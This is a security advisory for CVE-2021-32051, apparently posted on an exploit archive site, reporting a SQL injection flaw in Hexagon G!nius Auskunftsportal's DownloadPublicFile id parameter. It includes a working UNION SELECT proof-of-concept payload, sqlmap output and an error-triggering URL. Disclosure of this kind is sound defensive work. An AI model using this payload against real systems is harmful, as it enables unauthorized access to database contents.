Hexagon G!nius Auskunftsportal SQL Injection

Authored by Marcel Keiffenheim

Posted May 11, 2021

Hexagon G!nius Auskunftsportal versions prior to 5.0.0.0 suffer from a remote SQL injection vulnerability.

tags | exploit, remote, sql injection
advisories | CVE-2021-32051
SHA-256 | c6a743b65f42176154a7e3bac0964f42836cd17dcc9caed7c23d86e5c712fbab

Download | Favorite | View

Related Files

Share This

Like Twee LinkedIn Reddit Digg StumbleUpon

Change Mirror Download

```
CVE-2021-32051 Hexagon G!nius Auskunftsportal before 5.0.0.0 allows SQL injection via the
GiPWorkflow/Service/DownloadPublicFile id parameter.

[Additional Information]
PoC Payload: id=test' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CHR(113)||
CHR(107)||CHR(112)||CHR(122)||CHR(113)||CHR(107)||CHR(71)||CHR(98)||CHR(88)||CHR(104)||CHR(102)||CHR(99)||
CHR(67)||CHR(113)||CHR(109)||CHR(69)||CHR(110)||CHR(67)||CHR(76)||CHR(103)||CHR(84)||CHR(83)||CHR(109)||
CHR(121)||CHR(84)||CHR(73)||CHR(116)||CHR(79)||CHR(103)||CHR(87)||CHR(84)||CHR(120)||CHR(119)||CHR(75)||
CHR(76)||CHR(114)||CHR(120)||CHR(103)||CHR(85)||CHR(87)||CHR(112)||CHR(111)||CHR(70)||CHR(108)||CHR(73)||
CHR(113)||CHR(112)||CHR(113)||CHR(120)||CHR(113),NULL FROM DUAL-- LShX

Result:
====
back-end DBMS: Oracle
banner: 'Oracle Database 19c Standard Edition 2 Release 19.0.0.0.0 - Production'
current user: 'IPA_ADMIN'
current database (equivalent to schema on Oracle): 'IPA_ADMIN'
current user is DBA: False
database management system users [18]:
====


Impact:
Complete compromise of the database's data integrity.

Discovery:
1. Discovered manually
2. Exploited via sqlmap
------------------------------------------
[Vulnerability Type]
SQL Injection
------------------------------------------
[Vendor of Product]
Hexagon AG
------------------------------------------
[Affected Product Code Base]
G!nius Auskunftsportal - 5.0.0.0 (fixed)
------------------------------------------
[Affected Component]
DownloadPublicFile component
------------------------------------------
[Attack Type]
Remote
------------------------------------------
[Impact Information Disclosure]
true
------------------------------------------
[Attack Vectors]
The web application has a function ("DownloadPublicFile") which facilitates downloads.
The "id" parameter (used to specify which file is to be downloaded) is vulnerable to SQL injection.
This SQL injection attack surface allows the Oracle database backend to be accessed and read without
authentication by using a "UNION SELECT" payload.
Accessing the following URL will trigger an Oracle error message:
https://[affected site root]/GiPWorkflow/Service/DownloadPublicFile?id=DS'
The apostrophe at the end (Unicode U+0027) interrupts the application's hard-coded SQL query.
At this point a "UNION SELECT" payload can be used to access any data within the database.
------------------------------------------
[Has vendor confirmed or acknowledged the vulnerability?]
true
A patch has been developed, released and installed to all known instances of the vulnerability a full six
months prior to public disclosure.
------------------------------------------
[Discoverer]
Marcel Keiffenheim
------------------------------------------
[Reference]
https://www.hexagonsafetyinfrastructure.com/products/utilities-and-communications-products/advanced-utility-
gis/hexagon-ginius
```

Login or Register to add favorites

Follow us on Twitter

Subscribe to an RSS Feed

File Archive: December 2022 <

Su	Mo	Tu	We	Th	Fr	Sa
				1	2	3
4	5	6	7	8	9	10
11	12	13	14	15	16	17
18	19	20	21	22	23	24
25	26	27	28	29	30	31

Top Authors In Last 30 Days

Red Hat 157 files
Ubuntu 76 files
LiquidWorm 23 files
Debian 21 files
nu11secur1ty 11 files
malvuln 11 files
Gentoo 9 files
Google Security Research 8 files
Julien Ahrens 4 files
T. Weber 4 files

File Tags

ActiveX (932)
Advisory (79,754)
Arbitrary (15,694)
BBS (2,859)
Bypass (1,619)
CGI (1,018)
Code Execution (6,926)
Conference (673)
Cracker (840)
CSRF (3,290)
DoS (22,602)
Encryption (2,349)
Exploit (50,359)
File Inclusion (4,165)
File Upload (946)
Firewall (821)
Info Disclosure (2,660)
Intrusion Detection (867)
Java (2,899)
JavaScript (821)
Kernel (6,291)
Local (14,201)
Magazine (586)
Overflow (12,419)
Perl (1,418)
PHP (5,093)
Proof of Concept (2,291)
Protocol (3,435)
Python (1,467)
Remote (30,044)
Root (3,504)
Ruby (594)
Scanner (1,631)
Security Tool (7,777)
Shell (3,103)
Shellcode (1,204)
Sniffer (886)

File Archives

December 2022
November 2022
October 2022
September 2022
August 2022
July 2022
June 2022
May 2022
April 2022
March 2022
February 2022
January 2022
Older

Systems

AIX (426)
Apple (1,926)
BSD (370)
CentOS (55)
Cisco (1,917)
Debian (6,634)
Fedora (1,690)
FreeBSD (1,242)
Gentoo (4,272)
HPUX (878)
iOS (330)
iPhone (108)
IRIX (220)
Juniper (67)
Linux (44,315)
Mac OS X (684)
Mandriva (3,105)
NetBSD (255)
OpenBSD (479)
RedHat (12,469)
Slackware (941)
Solaris (1,607)

Spoof (2,166)
SQL Injection (16,102)
TCP (2,379)
Trojan (686)
UDP (876)
Virus (662)
Vulnerability (31,136)
Web (9,365)
Whitepaper (3,729)
x86 (946)
XSS (17,494)
Other

SUSE (1,444)
Ubuntu (8,199)
UNIX (9,159)
UnixWare (185)
Windows (6,511)
Other

Site Links
News by Month
News Tags
Files by Month
File Tags
File Directory

About Us
History & Purpose
Contact Information
Terms of Service
Privacy Statement
Copyright Information

Hosting By
Rokasec

Follow us on Twitter

Subscribe to an RSS Feed